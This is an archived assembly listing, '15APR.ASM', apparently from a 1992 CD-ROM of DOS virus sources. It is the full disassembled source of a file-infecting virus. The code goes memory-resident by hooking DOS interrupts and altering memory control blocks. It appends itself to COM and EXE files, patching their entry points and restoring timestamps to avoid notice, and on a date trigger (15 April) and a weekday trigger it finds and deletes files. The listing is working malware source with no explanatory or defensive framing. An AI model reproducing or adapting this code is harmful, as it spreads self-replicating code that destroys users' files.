home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 15APR.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  16KB  |  680 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    15APR                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Mar-91                             ██
  9. ;██                                         ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.   
  12. data_1e        equ    4Ch                ; (0000:004C=31h)
  13. data_2e        equ    4Eh                ; (0000:004E=70h)
  14. data_3e        equ    84h                ; (0000:0084=0E3h)
  15. data_4e        equ    86h                ; (0000:0086=161Ah)
  16. data_5e        equ    90h                ; (0000:0090=8Eh)
  17. data_6e        equ    92h                ; (0000:0092=1498h)
  18. data_7e        equ    102h                ; (0000:0102=0CC00h)
  19. data_8e        equ    106h                ; (0000:0106=326h)
  20. data_9e        equ    47Bh                ; (0000:047B=0)
  21. data_10e    equ    0                ; (0326:0000=6A7h)
  22. data_11e    equ    2                ; (0326:0002=70h)
  23. data_12e    equ    0                ; (0691:0000=0C9h)
  24. data_13e    equ    1                ; (0692:0001=0D217h)
  25. data_14e    equ    2                ; (06E3:0002=2342h)
  26. data_15e    equ    6                ; (06E3:0006=2344h)
  27. data_32e    equ    0FC99h                ; (701E:FC99=0)
  28. data_33e    equ    0FC9Bh                ; (701E:FC9B=0)
  29. data_34e    equ    0FCB7h                ; (701E:FCB7=0)
  30. data_35e    equ    0FCB9h                ; (701E:FCB9=0)
  31. data_36e    equ    0FCBBh                ; (701E:FCBB=0)
  32. data_37e    equ    0FCC5h                ; (701E:FCC5=0)
  33. data_38e    equ    0FCC7h                ; (701E:FCC7=0)
  34. data_39e    equ    0FCCDh                ; (701E:FCCD=0)
  35. data_40e    equ    0FCCFh                ; (701E:FCCF=0)
  36.   
  37. code_seg_a    segment
  38.         assume    cs:code_seg_a, ds:code_seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. b15apr          proc    far
  44.   
  45. start:
  46. data_16        dw    63E9h
  47. data_17        dw    0C303h
  48.         db    23 dup (0C3h)
  49.         db    2Ah, 2Eh, 45h, 58h, 45h, 0
  50. data_19        dw    0C3C3h
  51. data_20        dw    0C3C3h
  52. data_21        dw    0
  53. data_22        dw    0
  54. data_23        dw    0
  55. data_24        dw    0
  56. data_25        dw    0
  57. data_26        dd    00000h
  58. data_27        dw    0
  59. data_28        dw    0
  60. data_29        dd    00000h
  61. data_30        dw    0
  62. data_31        dw    0
  63.         db    0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
  64.         db    'ta Swami Prabhupada (1896-1977)', 0Ah
  65.         db    0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U'
  66.         db    8Bh, 0ECh, 83h, 66h, 6, 0FEh
  67.         db    5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
  68.         db    12h, 3Dh, 0, 3Dh, 74h, 0Dh
  69.         db    3Dh, 0, 6Ch, 75h, 5, 80h
  70.         db    0FBh, 0, 74h, 3
  71. loc_1:
  72.         jmp    loc_15
  73. loc_2:
  74.         push    es
  75.         push    ds
  76.         push    di
  77.         push    si
  78.         push    bp
  79.         push    dx
  80.         push    cx
  81.         push    bx
  82.         push    ax
  83.         call    sub_6
  84.         call    sub_7
  85.         cmp    ax,6C00h
  86.         jne    loc_3                ; Jump if not equal
  87.         mov    dx,si
  88. loc_3:
  89.         mov    cx,80h
  90.         mov    si,dx
  91.   
  92. locloop_4:
  93.         inc    si
  94.         mov    al,[si]
  95.         or    al,al                ; Zero ?
  96.         loopnz    locloop_4            ; Loop if zf=0, cx>0
  97.   
  98.         sub    si,2
  99.         cmp    word ptr [si],4D4Fh
  100.         je    loc_7                ; Jump if equal
  101.         cmp    word ptr [si],4558h
  102.         je    loc_6                ; Jump if equal
  103. loc_5:
  104.         jmp    short loc_14
  105.         db    90h
  106. loc_6:
  107.         cmp    word ptr [si-4],4E41h
  108.         je    loc_8                ; Jump if equal
  109.         cmp    word ptr [si-4],444Ch
  110.         je    loc_8                ; Jump if equal
  111.         cmp    word ptr [si-4],4A52h
  112.         je    loc_8                ; Jump if equal
  113.         jnz    loc_9                ; Jump if not zero
  114. loc_7:
  115.         cmp    word ptr [si-4],444Eh
  116.         je    loc_5                ; Jump if equal
  117.         jnz    loc_10                ; Jump if not zero
  118. loc_8:
  119.         int    19h                ; Bootstrap loader
  120. loc_9:
  121.         jz    loc_10                ; Jump if zero
  122. loc_10:
  123.         mov    ax,3D02h
  124.         call    sub_5
  125.         jc    loc_14                ; Jump if carry Set
  126.         mov    bx,ax
  127.         mov    ax,5700h
  128.         call    sub_5
  129.         mov    cs:data_22,cx            ; (701E:0127=0)
  130.         mov    cs:data_23,dx            ; (701E:0129=0)
  131.         mov    ax,4200h
  132.         xor    cx,cx                ; Zero register
  133.         xor    dx,dx                ; Zero register
  134.         call    sub_5
  135.         push    cs
  136.         pop    ds
  137.         mov    dx,103h
  138.         mov    si,dx
  139.         mov    cx,18h
  140.         mov    ah,3Fh                ; '?'
  141.         call    sub_5
  142.         jc    loc_12                ; Jump if carry Set
  143.         cmp    word ptr [si],5A4Dh
  144.         jne    loc_11                ; Jump if not equal
  145.         call    sub_1
  146.         jmp    short loc_12
  147. loc_11:
  148.         call    sub_4
  149. loc_12:
  150.         jc    loc_13                ; Jump if carry Set
  151.         mov    ax,5701h
  152.         mov    cx,cs:data_22            ; (701E:0127=0)
  153.         mov    dx,cs:data_23            ; (701E:0129=0)
  154.         call    sub_5
  155. loc_13:
  156.         mov    ah,3Eh                ; '>'
  157.         call    sub_5
  158. loc_14:
  159.         call    sub_7
  160.         pop    ax
  161.         pop    bx
  162.         pop    cx
  163.         pop    dx
  164.         pop    bp
  165.         pop    si
  166.         pop    di
  167.         pop    ds
  168.         pop    es
  169. loc_15:
  170.         jmp    cs:data_26            ; (701E:012F=0)
  171.   
  172. b15apr          endp
  173.   
  174. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  175. ;                   SUBROUTINE
  176. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  177.   
  178. sub_1        proc    near
  179.         mov    ah,2Ah                ; '*'
  180.         int    21h                ; DOS Services  ah=function 2Ah
  181.                             ;  get date, cx=year, dx=mon/day
  182.         cmp    dh,4
  183.         je    loc_16                ; Jump if equal
  184.         jnz    loc_17                ; Jump if not zero
  185. loc_16:
  186.         mov    ah,2Ah                ; '*'
  187.         int    21h                ; DOS Services  ah=function 2Ah
  188.                             ;  get date, cx=year, dx=mon/day
  189.         cmp    dl,0Fh
  190.         je    loc_18                ; Jump if equal
  191.         jnz    loc_17                ; Jump if not zero
  192. loc_17:
  193.         mov    cx,[si+16h]
  194.         add    cx,[si+8]
  195.         mov    ax,10h
  196.         mul    cx                ; dx:ax = reg * ax
  197.         add    ax,[si+14h]
  198.         adc    dx,0
  199.         push    dx
  200.         push    ax
  201.         mov    ax,4202h
  202.         xor    cx,cx                ; Zero register
  203.         xor    dx,dx                ; Zero register
  204.         call    sub_5
  205.         cmp    dx,0
  206.         jne    loc_19                ; Jump if not equal
  207.         cmp    ax,4E2h
  208.         jae    loc_19                ; Jump if above or =
  209.         pop    ax
  210.         pop    dx
  211.         stc                    ; Set carry flag
  212.         ret
  213. loc_18:
  214.         mov    dx,10h
  215.         mov    ah,1Ah
  216.         int    21h                ; DOS Services  ah=function 1Ah
  217.                             ;  set DTA to ds:dx
  218.         mov    dx,11Bh
  219.         mov    cx,110Bh
  220.         mov    ah,4Eh                ; 'N'
  221.         int    21h                ; DOS Services  ah=function 4Eh
  222.                             ;  find 1st filenam match @ds:dx
  223.         mov    dx,2Eh
  224.         mov    ax,3D02h
  225.         int    15h                ; General services, ah=func 3Dh
  226.         mov    ah,41h                ; 'A'
  227.         int    21h                ; DOS Services  ah=function 41h
  228.                             ;  delete file, name @ ds:dx
  229.         jmp    loc_25
  230.         db    0BAh, 3Fh, 1, 0B4h, 9, 0CDh
  231.         db    21h, 0EBh, 1, 90h
  232. loc_19:
  233.         mov    di,ax
  234.         mov    bp,dx
  235.         pop    cx
  236.         sub    ax,cx
  237.         pop    cx
  238.         sbb    dx,cx
  239.         cmp    word ptr [si+0Ch],0
  240.         je    loc_ret_22            ; Jump if equal
  241.         cmp    dx,0
  242.         jne    loc_20                ; Jump if not equal
  243.         cmp    ax,4E2h
  244.         jne    loc_20                ; Jump if not equal
  245.         stc                    ; Set carry flag
  246.         ret
  247. loc_20:
  248.         mov    dx,bp
  249.         mov    ax,di
  250.         push    dx
  251.         push    ax
  252.         add    ax,4E2h
  253.         adc    dx,0
  254.         mov    cx,200h
  255.         div    cx                ; ax,dx rem=dx:ax/reg
  256.         les    di,dword ptr [si+2]        ; Load 32 bit ptr
  257.         mov    cs:data_24,di            ; (701E:012B=0)
  258.         mov    cs:data_25,es            ; (701E:012D=0)
  259.         mov    [si+2],dx
  260.         cmp    dx,0
  261.         je    loc_21                ; Jump if equal
  262.         inc    ax
  263. loc_21:
  264.         mov    [si+4],ax
  265.         pop    ax
  266.         pop    dx
  267.         call    sub_2
  268.         sub    ax,[si+8]
  269.         les    di,dword ptr [si+14h]        ; Load 32 bit ptr
  270.         mov    data_19,di            ; (701E:0121=0C3C3h)
  271.         mov    data_20,es            ; (701E:0123=0C3C3h)
  272.         mov    [si+14h],dx
  273.         mov    [si+16h],ax
  274.         mov    word ptr data_21,ax        ; (701E:0125=0)
  275.         mov    ax,4202h
  276.         xor    cx,cx                ; Zero register
  277.         xor    dx,dx                ; Zero register
  278.         call    sub_5
  279.         call    sub_3
  280.         jc    loc_ret_22            ; Jump if carry Set
  281.         mov    ax,4200h
  282.         xor    cx,cx                ; Zero register
  283.         xor    dx,dx                ; Zero register
  284.         call    sub_5
  285.         mov    ah,40h                ; '@'
  286.         mov    dx,si
  287.         mov    cx,18h
  288.         call    sub_5
  289.   
  290. loc_ret_22:
  291.         ret
  292.   
  293. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  294.   
  295. sub_2:
  296.         mov    cx,4
  297.         mov    di,ax
  298.         and    di,0Fh
  299.   
  300. locloop_23:
  301.         shr    dx,1                ; Shift w/zeros fill
  302.         rcr    ax,1                ; Rotate thru carry
  303.         loop    locloop_23            ; Loop if cx > 0
  304.   
  305.         mov    dx,di
  306.         ret
  307.   
  308. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  309.   
  310. sub_3:
  311.         mov    ah,40h                ; '@'
  312.         mov    cx,4E2h
  313.         mov    dx,100h
  314.         call    sub_6
  315.         jmp    short loc_29
  316.         db    90h
  317.   
  318. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  319.   
  320. sub_4:
  321.         mov    ah,2Ah                ; '*'
  322.         int    21h                ; DOS Services  ah=function 2Ah
  323.                             ;  get date, cx=year, dx=mon/day
  324.         cmp    al,6
  325.         je    loc_24                ; Jump if equal
  326.         jnz    loc_25                ; Jump if not zero
  327. loc_24:
  328.         mov    dx,10h
  329.         mov    ah,1Ah
  330.         int    21h                ; DOS Services  ah=function 1Ah
  331.                             ;  set DTA to ds:dx
  332.         mov    dx,11Bh
  333.         mov    cx,110Bh
  334.         mov    ah,4Eh                ; 'N'
  335.         int    21h                ; DOS Services  ah=function 4Eh
  336.                             ;  find 1st filenam match @ds:dx
  337.         mov    dx,2Eh
  338.         mov    ax,3D02h
  339.         int    15h                ; General services, ah=func 3Dh
  340.         mov    ah,41h                ; 'A'
  341.         int    21h                ; DOS Services  ah=function 41h
  342.                             ;  delete file, name @ ds:dx
  343.         jmp    short loc_25
  344.         db    90h
  345. loc_25:
  346.         mov    ax,4202h
  347.         xor    cx,cx                ; Zero register
  348.         xor    dx,dx                ; Zero register
  349.         call    sub_5
  350.         cmp    ax,4E2h
  351.         jb    loc_ret_28            ; Jump if below
  352.         cmp    ax,0FA00h
  353.         jae    loc_ret_28            ; Jump if above or =
  354.         push    ax
  355.         cmp    byte ptr [si],0E9h
  356.         jne    loc_26                ; Jump if not equal
  357.         sub    ax,4E5h
  358.         cmp    ax,[si+1]
  359.         jne    loc_26                ; Jump if not equal
  360.         pop    ax
  361.         stc                    ; Set carry flag
  362.         ret
  363. loc_26:
  364.         call    sub_3
  365.         jnc    loc_27                ; Jump if carry=0
  366.         pop    ax
  367.         ret
  368. loc_27:
  369.         mov    ax,4200h
  370.         xor    cx,cx                ; Zero register
  371.         xor    dx,dx                ; Zero register
  372.         call    sub_5
  373.         pop    ax
  374.         sub    ax,3
  375.         mov    dx,121h
  376.         mov    si,dx
  377.         mov    byte ptr cs:[si],0E9h
  378.         mov    cs:[si+1],ax
  379.         mov    ah,40h                ; '@'
  380.         mov    cx,3
  381.         call    sub_5
  382.   
  383. loc_ret_28:
  384.         ret
  385. sub_1        endp
  386.   
  387.   
  388. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  389. ;                   SUBROUTINE
  390. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  391.   
  392. sub_5        proc    near
  393. loc_29:
  394.         pushf                    ; Push flags
  395.         call    cs:data_26            ; (701E:012F=0)
  396.         ret
  397. sub_5        endp
  398.   
  399.   
  400. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  401. ;                   SUBROUTINE
  402. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  403.   
  404. sub_6        proc    near
  405.         push    ax
  406.         push    ds
  407.         push    es
  408.         xor    ax,ax                ; Zero register
  409.         push    ax
  410.         pop    ds
  411.         cli                    ; Disable interrupts
  412.         les    ax,dword ptr ds:data_5e        ; (0000:0090=18Eh) Load 32 bit ptr
  413.         mov    cs:data_27,ax            ; (701E:0133=0)
  414.         mov    cs:data_28,es            ; (701E:0135=0)
  415.         mov    ax,44Eh
  416.         mov    ds:data_5e,ax            ; (0000:0090=18Eh)
  417.         mov    ds:data_6e,cs            ; (0000:0092=1498h)
  418.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  419.         mov    cs:data_30,ax            ; (701E:013B=0)
  420.         mov    cs:data_31,es            ; (701E:013D=0)
  421.         les    ax,cs:data_29            ; (701E:0137=0) Load 32 bit ptr
  422.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  423.         mov    ds:data_2e,es            ; (0000:004E=70h)
  424.         sti                    ; Enable interrupts
  425.         pop    es
  426.         pop    ds
  427.         pop    ax
  428.         ret
  429. sub_6        endp
  430.   
  431.   
  432. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  433. ;                   SUBROUTINE
  434. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  435.   
  436. sub_7        proc    near
  437.         push    ax
  438.         push    ds
  439.         push    es
  440.         xor    ax,ax                ; Zero register
  441.         push    ax
  442.         pop    ds
  443.         cli                    ; Disable interrupts
  444.         les    ax,dword ptr cs:data_27        ; (701E:0133=0) Load 32 bit ptr
  445.         mov    ds:data_5e,ax            ; (0000:0090=18Eh)
  446.         mov    ds:data_6e,es            ; (0000:0092=1498h)
  447.         les    ax,dword ptr cs:data_30        ; (701E:013B=0) Load 32 bit ptr
  448.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  449.         mov    ds:data_2e,es            ; (0000:004E=70h)
  450.         sti                    ; Enable interrupts
  451.         pop    es
  452.         pop    ds
  453.         pop    ax
  454.         ret
  455. sub_7        endp
  456.   
  457.         db    0B0h, 3, 0CFh
  458.   
  459. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  460. ;                   SUBROUTINE
  461. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  462.   
  463. sub_8        proc    near
  464.         mov    dx,10h
  465.         mul    dx                ; dx:ax = reg * ax
  466.         ret
  467. sub_8        endp
  468.   
  469.   
  470. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  471. ;                   SUBROUTINE
  472. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  473.   
  474. sub_9        proc    near
  475.         xor    ax,ax                ; Zero register
  476.         xor    bx,bx                ; Zero register
  477.         xor    cx,cx                ; Zero register
  478.         xor    dx,dx                ; Zero register
  479.         xor    si,si                ; Zero register
  480.         xor    di,di                ; Zero register
  481.         xor    bp,bp                ; Zero register
  482.         ret
  483. sub_9        endp
  484.   
  485.         db    1Eh, 0E8h, 0, 0
  486.   
  487. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  488. ;                   SUBROUTINE
  489. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  490.   
  491. sub_10        proc    near
  492.         mov    ax,4B4Dh
  493.         nop
  494.         int    21h                ; DOS Services  ah=function 4Bh
  495.                             ;  run progm @ds:dx, parm @es:bx
  496.         jc    loc_30                ; Jump if carry Set
  497.         jmp    loc_40
  498. loc_30:
  499.         pop    si
  500.         push    si
  501.         nop
  502.         mov    di,si
  503.         xor    ax,ax                ; Zero register
  504.         push    ax
  505.         pop    ds
  506.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  507.         mov    cs:data_39e[si],ax        ; (701E:FCCD=0)
  508.         mov    cs:data_40e[si],es        ; (701E:FCCF=0)
  509.         les    bx,dword ptr ds:data_3e        ; (0000:0084=6E3h) Load 32 bit ptr
  510.         mov    cs:data_37e[di],bx        ; (701E:FCC5=0)
  511.         mov    cs:data_38e[di],es        ; (701E:FCC7=0)
  512.         mov    ax,ds:data_7e            ; (0000:0102=0CC00h)
  513.         cmp    ax,0F000h
  514.         jne    loc_38                ; Jump if not equal
  515.         mov    dl,80h
  516.         mov    ax,ds:data_8e            ; (0000:0106=326h)
  517.         cmp    ax,0F000h
  518.         je    loc_31                ; Jump if equal
  519.         cmp    ah,0C8h
  520.         jb    loc_38                ; Jump if below
  521.         cmp    ah,0F4h
  522.         jae    loc_38                ; Jump if above or =
  523.         test    al,7Fh
  524.         jnz    loc_38                ; Jump if not zero
  525.         mov    ds,ax
  526.         cmp    word ptr ds:data_10e,0AA55h    ; (0326:0000=6A7h)
  527.         jne    loc_38                ; Jump if not equal
  528.         mov    dl,ds:data_11e            ; (0326:0002=70h)
  529. loc_31:
  530.         mov    ds,ax
  531.         xor    dh,dh                ; Zero register
  532.         mov    cl,9
  533.         shl    dx,cl                ; Shift w/zeros fill
  534.         mov    cx,dx
  535.         xor    si,si                ; Zero register
  536.   
  537. locloop_32:
  538.         lodsw                    ; String [si] to ax
  539.         cmp    ax,0FA80h
  540.         jne    loc_33                ; Jump if not equal
  541.         lodsw                    ; String [si] to ax
  542.         cmp    ax,7380h
  543.         je    loc_34                ; Jump if equal
  544.         jnz    loc_35                ; Jump if not zero
  545. loc_33:
  546.         cmp    ax,0C2F6h
  547.         jne    loc_36                ; Jump if not equal
  548.         lodsw                    ; String [si] to ax
  549.         cmp    ax,7580h
  550.         jne    loc_35                ; Jump if not equal
  551. loc_34:
  552.         inc    si
  553.         lodsw                    ; String [si] to ax
  554.         cmp    ax,40CDh
  555.         je    loc_37                ; Jump if equal
  556.         sub    si,3
  557. loc_35:
  558.         dec    si
  559.         dec    si
  560. loc_36:
  561.         dec    si
  562.         loop    locloop_32            ; Loop if cx > 0
  563.   
  564.         jmp    short loc_38
  565. loc_37:
  566.         sub    si,7
  567.         mov    cs:data_39e[di],si        ; (701E:FCCD=0)
  568.         mov    cs:data_40e[di],ds        ; (701E:FCCF=0)
  569. loc_38:
  570.         mov    ah,62h                ; 'b'
  571.         int    21h                ; DOS Services  ah=function 62h
  572.                             ;  get progrm seg prefix addr bx
  573.         mov    es,bx
  574.         mov    ah,49h                ; 'I'
  575.         int    21h                ; DOS Services  ah=function 49h
  576.                             ;  release memory block, es=seg
  577.         mov    bx,0FFFFh
  578.         mov    ah,48h                ; 'H'
  579.         int    21h                ; DOS Services  ah=function 48h
  580.                             ;  allocate memory, bx=bytes/16
  581.         sub    bx,50h
  582.         nop
  583.         jc    loc_40                ; Jump if carry Set
  584.         mov    cx,es
  585.         stc                    ; Set carry flag
  586.         adc    cx,bx
  587.         mov    ah,4Ah                ; 'J'
  588.         int    21h                ; DOS Services  ah=function 4Ah
  589.                             ;  change mem allocation, bx=siz
  590.         mov    bx,4Fh
  591.         stc                    ; Set carry flag
  592.         sbb    es:data_14e,bx            ; (06E3:0002=2342h)
  593.         push    es
  594.         mov    es,cx
  595.         mov    ah,4Ah                ; 'J'
  596.         int    21h                ; DOS Services  ah=function 4Ah
  597.                             ;  change mem allocation, bx=siz
  598.         mov    ax,es
  599.         dec    ax
  600.         mov    ds,ax
  601.         mov    word ptr ds:data_13e,8        ; (0692:0001=0D217h)
  602.         call    sub_8
  603.         mov    bx,ax
  604.         mov    cx,dx
  605.         pop    ds
  606.         mov    ax,ds
  607.         call    sub_8
  608.         add    ax,ds:data_15e            ; (06E3:0006=2344h)
  609.         adc    dx,0
  610.         sub    ax,bx
  611.         sbb    dx,cx
  612.         jc    loc_39                ; Jump if carry Set
  613.         sub    ds:data_15e,ax            ; (06E3:0006=2344h)
  614. loc_39:
  615.         mov    si,di
  616.         xor    di,di                ; Zero register
  617.         push    cs
  618.         pop    ds
  619.         sub    si,36Ah
  620.         mov    cx,4E2h
  621.         inc    cx
  622.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  623.         mov    ah,62h                ; 'b'
  624.         int    21h                ; DOS Services  ah=function 62h
  625.                             ;  get progrm seg prefix addr bx
  626.         dec    bx
  627.         mov    ds,bx
  628.         mov    byte ptr ds:data_12e,5Ah    ; (0691:0000=0C9h) 'Z'
  629.         mov    dx,173h
  630.         xor    ax,ax                ; Zero register
  631.         push    ax
  632.         pop    ds
  633.         mov    ax,es
  634.         sub    ax,10h
  635.         mov    es,ax
  636.         cli                    ; Disable interrupts
  637.         mov    ds:data_3e,dx            ; (0000:0084=6E3h)
  638.         mov    ds:data_4e,es            ; (0000:0086=161Ah)
  639.         sti                    ; Enable interrupts
  640.         dec    byte ptr ds:data_9e        ; (0000:047B=0)
  641. loc_40:
  642.         pop    si
  643.         cmp    word ptr cs:data_32e[si],5A4Dh    ; (701E:FC99=0)
  644.         jne    loc_41                ; Jump if not equal
  645.         pop    ds
  646.         mov    ax,cs:data_36e[si]        ; (701E:FCBB=0)
  647.         mov    bx,cs:data_35e[si]        ; (701E:FCB9=0)
  648.         push    cs
  649.         pop    cx
  650.         sub    cx,ax
  651.         add    cx,bx
  652.         push    cx
  653.         push    word ptr cs:data_34e[si]    ; (701E:FCB7=0)
  654.         push    ds
  655.         pop    es
  656.         call    sub_9
  657.         ret                    ; Return far
  658. loc_41:
  659.         pop    ax
  660.         mov    ax,cs:data_32e[si]        ; (701E:FC99=0)
  661.         mov    cs:data_16,ax            ; (701E:0100=63E9h)
  662.         mov    ax,cs:data_33e[si]        ; (701E:FC9B=0)
  663.         mov    cs:data_17,ax            ; (701E:0102=0C303h)
  664.         mov    ax,100h
  665.         push    ax
  666.         push    cs
  667.         pop    ds
  668.         push    ds
  669.         pop    es
  670.         call    sub_9
  671.         ret
  672. sub_10        endp
  673.   
  674.   
  675. code_seg_a    ends
  676.   
  677.   
  678.   
  679.         end    start
  680.